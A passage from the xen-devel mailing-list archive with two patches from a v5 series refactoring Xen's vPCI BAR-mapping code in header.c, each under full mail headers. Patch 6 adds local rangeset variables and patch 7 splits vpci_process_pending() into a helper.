 bh=Mo/LqwcRC5ubuqxIgn4Vv90MFbTVJNrQe4oyzux4B+o=;
 b=t5IVnBQUbBcnHOaKcDr7RvNrgPU/zidkYuRRKOZgeVPB4HyGstqUa9LFQkUNdmf3ZHg0y2F7lqw+QCUxJHd+yM7U5zw0gw+qIcF+ojUq8kZ4o8300u5iobNsbIfh+BauyDViX03f78SXPncUGq3k95zCk7fSYJtD15TNbqa42aO86XkTAGCGVZyYDGHcrNt6QWQvmKBVT0dO54D9jpHdXgXDihblunn6gziv0DLRQ6QEAzrpRlqRbhVKIi3dcf/dVPmXVp0bIADZFvE2NQV06bo13J223QEzaaEEeX4UlelEe1RaW8/hJV8yd8NCUviURXLgn5yZImXlWbYb6lGM2A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Mo/LqwcRC5ubuqxIgn4Vv90MFbTVJNrQe4oyzux4B+o=;
 b=5Yl/XjhJTTf+NSjs4aUp9s4hBIcYWVYX7x80uxE5WRQral/iWaI/KB2iXhUZu2OdJpaZTsVXCPdBjiBdSOV9CeTuQLLqEfgqMrFxghr6PhgCA/pS8jZCLOjKBZRv61ddpPQMzba/njTxf2XP+kAWXW/vigisWW5775gC4NqaEmc=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Stewart Hildebrand <stewart.hildebrand@amd.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>, Mykyta Poturai
	<mykyta_poturai@epam.com>
Subject: [PATCH v5 6/9] vpci: create mem local variables
Date: Wed, 8 Jul 2026 17:02:21 -0400
Message-ID: <20260708210233.922275-7-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000D:EE_|PH0PR12MB7984:EE_
X-MS-Office365-Filtering-Correlation-Id: 0d478f83-f067-44b5-992a-08dedd34681e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|36860700016|376014|1800799024|23010399003|11063799006|18002099003|22082099003|56012099006;
X-Microsoft-Antispam-Message-Info:
	yru+yoYVz9AG1FwPJEJyfce+AYHA1xSy5S8euQJR5qT3rbUGmsGV/Nqbj0VF4jaokO7Zg6ASQ3ZxsQaFiTmNcIJCVzAHDt6nkrAS4bSSKPTmqt7cYdbRAecYDWyA3sgYqR9kVGvfnQ2SNYZbx76DB+ULBsbDP5rQiDjhoharR5QwLqpQi7yAZx67yReHtWPYBrhZ7PVIkBlViuZY1csZ4lSPQ1LDt097nPLTe0rJdXvtHX2d1j/qNmvhik6FQU0jkI7HVE+phCYPjSZ7EQOnpJyuFrERLNRE1EsC/7GAU5tGO3Hm0arXLTMsCHra29UyoPScshHAe+ANwr6U2TlmTnzmbcnHChHO7Lva4ACFLkfXqXPe5sycIy10ORak+5y3l2N0ougQF93yLoEzd8Tv3K6fcqolvDaJa17qZ1s7C0f8EtHvcNeYa4t4ByIJ4boxOSPnXmFInTqLZe+XCBs7cQbdtMZ8+RM7kD79yspTjSPES9KmbYb2n/vYKKD6Fh4zc9B12q/6KM2hajDM9x7P2PPm7mb1Tu+MFwhPngQlAbXf9Lw0IPPSoVWfYaZDssrq8MZVcglMeHUzHNcAuwVZBYTWm9hyaDSnBm/oIybouycIXUr9DDZomVYbDVwae9VxQhsxBj9twAlJnFCMBCR8j4Dvxd1PsUWDzxmCyJksOxuRRp2ky/nAugVnDf9uz0JccdBgHM+sDA8yIqxIvkbyCw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(36860700016)(376014)(1800799024)(23010399003)(11063799006)(18002099003)(22082099003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	hyTEYV8+2pB0YX2cyzbQFWqxKntNJ3l2giLwN+KvE8aK5UdQQuWo3ulvBPMY0lMSXOkzAuzIjU0VgneTP0i+BUa0n+4w5HnX2D0COxJgo2ouLE00bhzGA7ubjKLycvRTxB8tWtQacR1sMtUZXJcr6EIybiECRDcXKvxEsRUjJ9A6vNYbfpk5zPJ9gVJSiBi6tF5AQJ2jd1bjZ/Uf3bRUtwfJw21UVXQ6VJ558P1g/oayXpuoC30yoALggnIFj2LMqBY2YtVMz+/vE6qbJcDNZ3E06RuFIFxN4O2LuQQpQXB0IVTbxGY1v8JDP+DraMmHhDNh55wwEhq33McDrGNTLR07j/A/lTg/dJZEQc8Nt9ZjIuiRAVLpYAFnYrzVIe9huuNegcddTZwg32yyN8XjbjmliGgSlO8mdLNPV+XK4TPvzz1rbu3K3Cc1DzP5mfJ8
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:48.7519
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 0d478f83-f067-44b5-992a-08dedd34681e
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000D.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR12MB7984
X-purgate-ID: tlsNG-c201ff/1783544635-54BE32B8-42E1F82B/0/0
X-purgate-type: clean
X-purgate-size: 6360

Use local variables to reference struct rangeset *mem in preparation of
moving it out of struct vpci. No functional change.

Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
Signed-off-by: Mykyta Poturai <mykyta_poturai@epam.com>
---
v4->v5:
* Patch adapted from [1] ("vpci: Use pervcpu ranges for BAR mapping").
  I kept Mykyta's S-o-b tag since many of the changes are similar.

[1] https://lore.kernel.org/xen-devel/20260406191203.97662-2-stewart.hildebrand@amd.com/
---
 xen/drivers/vpci/header.c | 38 +++++++++++++++++++++-----------------
 1 file changed, 21 insertions(+), 17 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index 908adf0b3f4c..28e051f2779c 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -124,6 +124,7 @@ bool vpci_process_pending(struct vcpu *v)
     for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
     {
         struct vpci_bar *bar = &header->bars[i];
+        struct rangeset *mem = bar->mem;
         struct map_data data = {
             .d = v->domain,
             .map = v->vpci.cmd & PCI_COMMAND_MEMORY,
@@ -131,10 +132,10 @@ bool vpci_process_pending(struct vcpu *v)
         };
         int rc;
 
-        if ( rangeset_is_empty(bar->mem) )
+        if ( rangeset_is_empty(mem) )
             continue;
 
-        rc = rangeset_consume_ranges(bar->mem, map_range, &data);
+        rc = rangeset_consume_ranges(mem, map_range, &data);
 
         if ( rc == -ERESTART )
         {
@@ -178,13 +179,14 @@ static int __init apply_map(struct domain *d, const struct pci_dev *pdev,
     for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
     {
         struct vpci_bar *bar = &header->bars[i];
+        struct rangeset *mem = bar->mem;
         struct map_data data = { .d = d, .map = true, .bar = bar };
 
-        if ( rangeset_is_empty(bar->mem) )
+        if ( rangeset_is_empty(mem) )
             continue;
 
-        while ( (rc = rangeset_consume_ranges(bar->mem, map_range,
-                                              &data)) == -ERESTART )
+        while ( (rc = rangeset_consume_ranges(mem, map_range, &data)) ==
+                -ERESTART )
         {
             /*
              * It's safe to drop and reacquire the lock in this context
@@ -248,12 +250,13 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
     for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
     {
         struct vpci_bar *bar = &header->bars[i];
+        struct rangeset *mem = bar->mem;
         unsigned long start = PFN_DOWN(bar->addr);
         unsigned long end = PFN_DOWN(bar->addr + bar->size - 1);
         unsigned long start_guest = PFN_DOWN(bar->guest_addr);
         unsigned long end_guest = PFN_DOWN(bar->guest_addr + bar->size - 1);
 
-        if ( !bar->mem )
+        if ( !mem )
             continue;
 
         if ( !MAPPABLE_BAR(bar) ||
@@ -271,7 +274,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
             continue;
         }
 
-        ASSERT(rangeset_is_empty(bar->mem));
+        ASSERT(rangeset_is_empty(mem));
 
         bar_valid[i] = true;
 
@@ -310,7 +313,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
             return rc;
         }
 
-        rc = rangeset_add_range(bar->mem, start_guest, end_guest);
+        rc = rangeset_add_range(mem, start_guest, end_guest);
         if ( rc )
         {
             printk(XENLOG_G_WARNING "Failed to add [%lx, %lx]: %d\n",
@@ -321,12 +324,12 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
         /* Check for overlap with the already setup BAR ranges. */
         for ( j = 0; j < i; j++ )
         {
-            struct vpci_bar *prev_bar = &header->bars[j];
+            struct rangeset *prev_mem = header->bars[j].mem;
 
-            if ( rangeset_is_empty(prev_bar->mem) )
+            if ( rangeset_is_empty(prev_mem) )
                 continue;
 
-            rc = rangeset_remove_range(prev_bar->mem, start_guest, end_guest);
+            rc = rangeset_remove_range(prev_mem, start_guest, end_guest);
             if ( rc )
             {
                 gprintk(XENLOG_WARNING,
@@ -336,7 +339,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
             }
         }
 
-        rc = pci_sanitize_bar_memory(bar->mem);
+        rc = pci_sanitize_bar_memory(mem);
         if ( rc )
         {
             gprintk(XENLOG_WARNING,
@@ -355,12 +358,12 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
 
         for ( j = 0; j < ARRAY_SIZE(header->bars); j++ )
         {
-            const struct vpci_bar *bar = &header->bars[j];
+            struct rangeset *mem = header->bars[j].mem;
 
-            if ( rangeset_is_empty(bar->mem) )
+            if ( rangeset_is_empty(mem) )
                 continue;
 
-            rc = rangeset_remove_range(bar->mem, start, end);
+            rc = rangeset_remove_range(mem, start, end);
             if ( rc )
             {
                 gprintk(XENLOG_WARNING,
@@ -410,8 +413,9 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                 for ( j = 0; j < ARRAY_SIZE(header->bars); j++)
                 {
                     const struct vpci_bar *bar = &header->bars[j];
+                    struct rangeset *mem = bar->mem;
 
-                    if ( !rangeset_overlaps_range(bar->mem, start, end) ||
+                    if ( !rangeset_overlaps_range(mem, start, end) ||
                          /*
                           * If only the ROM enable bit is toggled check against
                           * other BARs in the same device for overlaps, but not
@@ -422,7 +426,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                           bar->type == VPCI_BAR_ROM) )
                         continue;
 
-                    rc = rangeset_remove_range(bar->mem, start, end);
+                    rc = rangeset_remove_range(mem, start, end);
                     if ( rc )
                     {
                         gprintk(XENLOG_WARNING,
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:04:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:04:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357358.1611814 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZR4-0005Bj-2G; Wed, 08 Jul 2026 21:04:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357358.1611814; Wed, 08 Jul 2026 21:04:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZR3-0005BY-Uu; Wed, 08 Jul 2026 21:04:01 +0000
Received: by outflank-mailman (input) for mailman id 1357358;
 Wed, 08 Jul 2026 21:04:00 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZR2-00053t-0S
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:04:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZR1-00BD5T-Dh
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:59 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb3f-e002-0a2a0a5209dd-0a2a450aae6c-0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:59 +0200
Received: from [52.101.52.54]
 (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb3d-e40e-0a2a450a0019-3465343685cf-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:58 +0200
Received: from CH0PR03CA0340.namprd03.prod.outlook.com (2603:10b6:610:11a::28)
 by SJ2PR12MB8009.namprd12.prod.outlook.com (2603:10b6:a03:4c7::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 21:03:54 +0000
Received: from CH3PEPF00000010.namprd04.prod.outlook.com
 (2603:10b6:610:11a:cafe::a) by CH0PR03CA0340.outlook.office365.com
 (2603:10b6:610:11a::28) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:53 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH3PEPF00000010.mail.protection.outlook.com (10.167.244.41) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:53 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:53 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:52 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=scUJPh+G9d3VHKb1BRkNz/DDs7u7+OLLgVRofZf01SPtims2NbfKX1nxdpSlb/rvnCxCCzxpbHYk4RMCcOWcOIqR9dpgYh9bgKrLTH4FJ0UkFe3uOFnxHxy9fnhLRHsgAW9khKZNrmfd3baD06RzpA03hPvDtQzOIzTpO3wLmhT1I2rqbnnX5jJBYWLqG3F60t+YANawZPLICVam2cwnZgBdBj3zB+M0Yq4YV9eVDBXnFP8UemIauJesxXxyAZtZJLElmRaEeZaVWCs+8FqLqFqIj7cWT8a+ZdffsXp1ywBIPTov9zSiJ3gDTN4MRBt0OUQOicxNA/1LLBqD9tqnGA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=rRLzzk0UEgl4+j4PxlJtdiOyBbtWQKjKKPnDYZswYE0=;
 b=lUt2Trf6A5abmFnFvfcmMSOytzOOyFyvqGkiXyuviMoQ0TuWSJ17ujPBSmuUx+8iPy28uV+eRdJuBwr5WJ+ZJsbX48M/Apmh2Rmr8aMA9Wvc3SsoNwmSSSu8LPG8XE1z9SBEvPUXOFP4lF8/bLJBIkbCXwvzFU/8sOE29JKulc88mW/eyD3qJUBPZcyED2yyrM0GWtixjSmqcytfXJt3oqR8v9nB7uzlmy72wMOmHNLpqVeL6uE2itf8Zvl4W6KTLaNhtQweLyp1hLIhYfG3mbT4hCIVh3L7QnL2l5Ot/ypGlAcbNsStaUMg3RVquahbrA2/alDVBWP5d2Sc2B/5YQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=rRLzzk0UEgl4+j4PxlJtdiOyBbtWQKjKKPnDYZswYE0=;
 b=WHL0UwOZgS2C/ekQkhQCUbjxQOtdatAGVN+L9jDdr4TbGTa5bBxIBT5o1Tp/Y1akwUFHMD8r8IcJgX8NBf22HNdKPM2Ew8CunRZfY7/hULNVPbYxz6IliZ8PU+9oK0eFZvL2KfcVvRVXCAugqTtQwoseCqJJT8uG2x6xYRh2Ufw=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Stewart Hildebrand <stewart.hildebrand@amd.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v5 7/9] vpci: split vpci_process_pending()
Date: Wed, 8 Jul 2026 17:02:22 -0400
Message-ID: <20260708210233.922275-8-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF00000010:EE_|SJ2PR12MB8009:EE_
X-MS-Office365-Filtering-Correlation-Id: 7d3c03cd-7aa8-4b0f-547b-08dedd346af2
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|36860700016|376014|23010399003|1800799024|6133799003|22082099003|18002099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	nwpeD2q4o8lNHHzF3tai4ZwEnY1apl6q4MVWUzoUUQfE9BFOGgJiOeJYVwUbu0I3o72MDoyrEpj+bBrXUDVqlUmAKa7gKN9oQkLnPZbngCFpKvTwgDblSsA4rkeP2iAWi7UgMq3BaUoaT4ewSx8+7R0xAgxS2eyfk5EJRv3h+0eIGOWRkMNfvcjGl4IsuDkIFly9dq543mMFv/fPM83+j0U3LgclSKTzioJNLmu9iVYj0STokSH2sNejdDgWlav+1CX4zT0UY5CsjYDbAhyuvE84Lo5sHV0Wwv1cLv4nawddoiFQ4LXzYnbo1i9PVYhn0xWZhpUa4SLW7HTsY8PaSH+MwuGaCbgi2angbfidbhnbik68Fci3taXz50RpIuSMi1A5/ZbthDMsGGCv9yViRO50ygQhtu4f7k1fbHLt9NFLlPbJlAGmDxiTkFI30Hbiks1pchsCWuTXm/ZaMpcMqlgexpx4pQ3wJCtst+TcN1bWp1zkELOvnnV01pgYxMSxmBOB//woubabI7i5rNa90+S26DbQ+9dUbw0ExNrKpaYcbG/5kDciutHJWt0CxDi1SERoibj0aY0l++HjGkvyNfOOMj8NTNEVKWDiYHf4Wae5STzshoR1OKS1uuI07HTksBPB+R79s2D88GA938u7ZLSp/q5860474YBQu0aGPNfxSVO+ECLjU+atrOiGjbTb3xG/nJVG2SWKEdGtkgqoxQ==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(36860700016)(376014)(23010399003)(1800799024)(6133799003)(22082099003)(18002099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	LMH5Tpc5chYhMHyO3aMpUBd16pQBu0zMVJLxdnWpV/V4Aougc30nYBKXiAc8lnoGQhreT3X6Z9pw9eDnFJIGDU7uqjaK+pVi/YEXkEL47XBu8WgVhk38+F/24bLGJ4CU3Z3UZaIwpP6vMZoQbfx/WZUTgxeHB7JczHipT8Z7iEwJ6tgpZDGddLX1IWfSoQz/4l5JKFUBNxyjk/4ePbIZ3aKZkeS0kjuPCYvUEG9Gc/suEMQVMxQyZ4IwTRg9AKQ97vqsG+yOrQWVtlm6un4xxME1d7CpspYTvXrwZbn6FJ0j+7bKFhqYxLgiSjQQuprcjpKjIdVFoI6JtCT1Ofci11/zoneRpddS2xou/3OU83ut4uTU3NtH567c0ETbntHSvRMafrn72NKvb0oosEzw6wCqC+LS8Tompd4lggjU2iHq7PTZ71SAesbUbRgVO591
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:53.5263
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7d3c03cd-7aa8-4b0f-547b-08dedd346af2
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF00000010.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ2PR12MB8009
X-purgate-ID: tlsNG-4011c0/1783544639-3E806DDE-258A867B/0/0
X-purgate-type: clean
X-purgate-size: 3347

Create a new function to separate the mapping logic from the pdev
validation and lock-acquiring logic. Slightly consolidate exit paths for
hardware_domain and !hardware_domain.

No functional change.

Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
---
v4->v5:
* new patch
---
 xen/drivers/vpci/header.c | 65 +++++++++++++++++++++++----------------
 1 file changed, 38 insertions(+), 27 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index 28e051f2779c..f7eaf9c6ddf2 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -102,23 +102,12 @@ static int cf_check map_range(
     return rc;
 }
 
-bool vpci_process_pending(struct vcpu *v)
+static int process_map_task(const struct pci_dev *pdev, bool map)
 {
-    const struct pci_dev *pdev = v->vpci.pdev;
     struct vpci_header *header = NULL;
     unsigned int i;
 
-    if ( !pdev )
-        return false;
-
-    read_lock(&v->domain->pci_lock);
-
-    if ( !pdev->vpci || (v->domain != pdev->domain) )
-    {
-        v->vpci.pdev = NULL;
-        read_unlock(&v->domain->pci_lock);
-        return false;
-    }
+    ASSERT(rw_is_locked(&pdev->domain->pci_lock));
 
     header = &pdev->vpci->header;
     for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
@@ -126,8 +115,8 @@ bool vpci_process_pending(struct vcpu *v)
         struct vpci_bar *bar = &header->bars[i];
         struct rangeset *mem = bar->mem;
         struct map_data data = {
-            .d = v->domain,
-            .map = v->vpci.cmd & PCI_COMMAND_MEMORY,
+            .d = pdev->domain,
+            .map = map,
             .bar = bar,
         };
         int rc;
@@ -136,21 +125,12 @@ bool vpci_process_pending(struct vcpu *v)
             continue;
 
         rc = rangeset_consume_ranges(mem, map_range, &data);
-
         if ( rc == -ERESTART )
-        {
-            read_unlock(&v->domain->pci_lock);
-            return true;
-        }
-
-        if ( rc && !is_hardware_domain(v->domain) )
-        {
-            read_unlock(&v->domain->pci_lock);
+            return rc;
 
-            domain_crash(v->domain);
+        if ( rc && !is_hardware_domain(pdev->domain) )
+            return rc;
 
-            return false;
-        }
         ASSERT(!rc);
         /*
          * Purge rangeset to deal with the hardware domain having triggered an
@@ -160,10 +140,41 @@ bool vpci_process_pending(struct vcpu *v)
          */
         rangeset_purge(bar->mem);
     }
+
+    return 0;
+}
+
+bool vpci_process_pending(struct vcpu *v)
+{
+    const struct pci_dev *pdev = v->vpci.pdev;
+    int rc;
+
+    if ( !pdev )
+        return false;
+
+    read_lock(&v->domain->pci_lock);
+
+    if ( !pdev->vpci || (v->domain != pdev->domain) )
+    {
+        v->vpci.pdev = NULL;
+        read_unlock(&v->domain->pci_lock);
+        return false;
+    }
+
+    rc = process_map_task(pdev, v->vpci.cmd & PCI_COMMAND_MEMORY);
+    if ( rc == -ERESTART )
+    {
+        read_unlock(&v->domain->pci_lock);
+        return true;
+    }
+
     v->vpci.pdev = NULL;
 
     read_unlock(&v->domain->pci_lock);
 
+    if ( rc && !is_hardware_domain(v->domain) )
+        domain_crash(v->domain);
+
     return false;
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:04:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:04:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357386.1611824 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZRE-0006Dn-E6; Wed, 08 Jul 2026 21:04:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357386.1611824; Wed, 08 Jul 2026 21:04:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZRE-0006Db-Ac; Wed, 08 Jul 2026 21:04:12 +0000
Received: by outflank-mailman (input) for mailman id 1357386;
 Wed, 08 Jul 2026 21:04:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZRC-00069S-VB
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:04:11 +0000
